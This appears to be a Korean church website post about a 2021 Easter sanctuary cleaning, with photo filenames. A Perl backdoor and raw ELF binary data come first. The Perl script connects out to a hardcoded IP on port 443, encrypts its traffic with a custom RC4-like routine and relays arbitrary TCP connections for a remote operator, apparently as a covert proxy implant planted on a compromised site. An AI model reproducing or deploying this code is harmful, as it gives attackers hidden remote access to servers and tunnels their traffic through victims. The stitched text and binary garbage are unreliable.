#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.179'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); ELF>@@0@8@@@DD@@00@0@  @ @$$GNU# C*Yʗ DNUHHH;H /H#HHEHHuHIH H=H5uH=H5HEHEH}H3H#UHHHpH0L}L(HDžpH}H2H}H2H}H2IH}HIH}HIH}HIH}HIH}HEEEHDžxH}HHLxIH6H}HHHHH H}HHHHL(AuHfE EEfAGfEIwH}HH}HuHH*nfEAu+IOfBD9 fEBD9 I EAuAGEfAG fEH}HuHH*HE؉EfEfEH}HH'HHueH}HHHHH5H}HHHHH}H<H I EHDžpHuH}ĤfE H=H2HUIH=H2HUI {H}HuH LU H=H2HUIEHpL}LuK< HE؉EfEfEH}HHdHHt|L(H}It$HI@IIH-HL(HMfAD$A $H8H=H2H(IfL(H=H2IT$L8@H8H}H(H8LUL}LuKH} fEH=]H2HUIH}HuHLUqH(HH H0HH HH<UHHH HHEHEHDžHDžxHDžpHH@2HHHHHHHI"IIH HEHH H_ $H}H2H5H}H2L}fAG2AG5H=H2IW2I2aHHuHdIH}HEfEfEH}HH`H|HukHp`H}UH}JH=<H2HpIHHpHLDNL}H}u H}_fAuCA?uAuHDžxAsAvIOHDŽ͘IOH+MHEHJt8HI@IIH-H^UHEL}fEfA;GH=0H2IWLUL}A?MHHHI"IIH HXLHuHXHL}IOIHIHHIHIHA}t HHHH)H HHH)LXIL}IOH͘HHHI"IIH H= HLn%L}IOH͘IwHUIHEHEHH+EHML}HJ49HI@IIH-HtI|DHEHDžpH}u)H= H2HUIHDžKHUHH@2HDž` HDžhH`H3H#HHH}HH HxuHHHUHHPSQATAUAVAWHxHpHhL`HH2HxHpHhL`IHt HHH5fDžfDž5H=HHHH)HHHHH*HHHI@IIH,HHHLIH6HHHI@IIH-HHHL)H3t*fA|$uIL$ Nd! ufA|$uAD$ A_A^A]A\Y[UHH(H}HuHULUHEH}HH LUIH6H}HHLUIH6H}HHLUIH6H}HHLUIH6UHHH}H}uH+}HHUHHH}H}HH0H}HUHHSHE H3H3ۊHǀt 0HeH[H>HH8UHHH}HxH2H}HxHaHuHxHH}HxHUHH@ATAUAVAWH}HuHUH}H2HEHHHH)HEH=jH(H ItI-HuH}HHEH}HHLUIH6H}t4EH}fEfEH}HuHH*HEH= H(H@ ItIHEA_A^A]A\}DPy'Rj hh =ʣ.?V_Hѵ1hPy` pi8.?V_Hѵ1hP*4vh:=ʣ?V_Hѵ1hP*4դ9FY =ʣ.X@U?m8.8.8.8.shstrtab.note.gnu.build-id.text.data  @ $@$0@00*ELF404 (0$$GNU*>4bS/U H >4*EM̀ kLu= k7EE]3ɸ̀Up|UxE}ȹ2}2}ع2󪍲}󤍲}󤍲}󤍲}󤍲}EEEEEEEEEEEMf̀]7̀ ]и7̀xzuMfE EEfBfEr}EEEEEMf̀pfEzu'JfD fED Z EzuBEfB fEEEEȉEEMf̀EEfEfE]'̀uL]7̀5]и7̀]< ( EEu}ؤfE t2Uؾ0t2U۾ ]Mغ uOt2Uؾ}UM<EEfEfE]d̀tŃ|xEEBEEE@EE Mf̀tk|fxMfB Et2x/xt2RuE]xUuEUM] fEt2Uؾ]Mغux[̀|[̀̀UtEEDžDžDž 2C̀DžDžDžDž"DžDžZ̀E0 8}25t}2UfB2t2R22qMd}EfEfE]`̀|ȃu]}}t2fU}u }fzu<:uzuDžzszvJDŽJJ+MEDDž@DžDž f̀EUfEf;Bt2RuU:DžDžDžDž"DžDžZ̀Ћu􋽬E@󤍅zt2DžDžDžf̀0Dž DžDžf̀MIDžDžDžDž"DžDžZ̀AdUJJUpEE+EM싕UDž@DžDž f̀t?|:EDž}u"t2UDž) 2Dž Dž3ɸ̀̀][̀u ̀U|xtp2󪋝|xtpt G5fDžfDž5DžDžDžf̀Džf̀Dž@DžDž f̀DžDžDžf̀DžDž@DžDž f̀̀)3t!fzuJ T u fzuB _^ZYU,]MUuEEEEE EEEMԸf̀EEEEEEEMԸf̀EEEEEEEMԸf̀EEEEEEEMԸf̀UW]}u+}O_U]EEE Mf̀]̀UQRVWE 33ۊGt 0e_^ZYÉx̀U]|2]|L̀u|]|K̀U<]̉MȉUč}2EEEEMиf̀Et(t.u}̹EEEEEEEEMиf̀]t@@0@8@@@DD@@00@0@  @ @$$GNU# C*Yʗ DNUHHH;H /H#HHEHHuHIH H=H5uH=H5HEHEH}H3H#UHHHpH0L}L(HDžpH}H2H}H2H}H2IH}HIH}HIH}HIH}HIH}HEEEHDžxH}HHLxIH6H}HHHHH H}HHHHL(AuHfE EEfAGfEIwH}HH}HuHH*nfEAu+IOfBD9 fEBD9 I EAuAGEfAG fEH}HuHH*HE؉EfEfEH}HH'HHueH}HHHHH5H}HHHHH}H<H I EHDžpHuH}ĤfE H=H2HUIH=H2HUI {H}HuH LU H=H2HUIEHpL}LuK< HE؉EfEfEH}HHdHHt|L(H}It$HI@IIH-HL(HMfAD$A $H8H=H2H(IfL(H=H2IT$L8@H8H}H(H8LUL}LuKH} fEH=]H2HUIH}HuHLUqH(HH H0HH HH<UHHH HHEHEHDžHDžxHDžpHH@2HHHHHHHI"IIH HEHH H_ $H}H2H5H}H2L}fAG2AG5H=H2IW2I2aHHuHdIH}HEfEfEH}HH`H|HukHp`H}UH}JH=<H2HpIHHpHLDNL}H}u H}_fAuCA?uAuHDžxAsAvIOHDŽ͘IOH+MHEHJt8HI@IIH-H^UHEL}fEfA;GH=0H2IWLUL}A?MHHHI"IIH HXLHuHXHL}IOIHIHHIHIHA}t HHHH)H HHH)LXIL}IOH͘HHHI"IIH H= HLn%L}IOH͘IwHUIHEHEHH+EHML}HJ49HI@IIH-HtI|DHEHDžpH}u)H= H2HUIHDžKHUHH@2HDž` HDžhH`H3H#HHH}HH HxuHHHUHHPSQATAUAVAWHxHpHhL`HH2HxHpHhL`IHt HHH5fDžfDž5H=HHHH)HHHHH*HHHI@IIH,HHHLIH6HHHI@IIH-HHHL)H3t*fA|$uIL$ Nd! ufA|$uAD$ A_A^A]A\Y[UHH(H}HuHULUHEH}HH LUIH6H}HHLUIH6H}HHLUIH6H}HHLUIH6UHHH}H}uH+}HHUHHH}H}HH0H}HUHHSHE H3H3ۊHǀt 0HeH[H>HH8UHHH}HxH2H}HxHaHuHxHH}HxHUHH@ATAUAVAWH}HuHUH}H2HEHHHH)HEH=jH(H ItI-HuH}HHEH}HHLUIH6H}t4EH}fEfEH}HuHH*HEH= H(H@ ItIHEA_A^A]A\Wŧ!JMP]w |  2021년 부활주일맞이 성전대청소(1)

커뮤니티

제목2021년 부활주일맞이 성전대청소(1)2023-03-06 15:03
작성자 Level 10

2021년 4월 3일 부활하실 예수 그리스도를 기다리며

성도들이 힘을모아 함께 성전을 깨끗하게 청소를 했습니다.

수고해주신 모든 분들께 예수님의 사랑과 평강이 가득하길 소망합니다.

1d371a4405e2ee2392745ffd00a8536a.jpg

2b86d3761fe7548fa6ca14d2f235c8dc.jpg

3e67b5307cad0c12f36a10f2853c2be9.jpg

991d6ada3d6f6b4b6140ea8add8eb032.jpg

47268e653d7f24290a19f1e42329a1c6.jpg

77206ac66c088f885273c1e3a05e8f7f.jpg

cb5641246cd998bc9eaa1e8e30437fda.jpg

ccba5ffda1f4b5b92d34eb268fde753a.jpg

e69315477aa85e2b3ae532f83b802e57.jpg

fd5877daca53fbf916b8f8f10646f3c4.jpg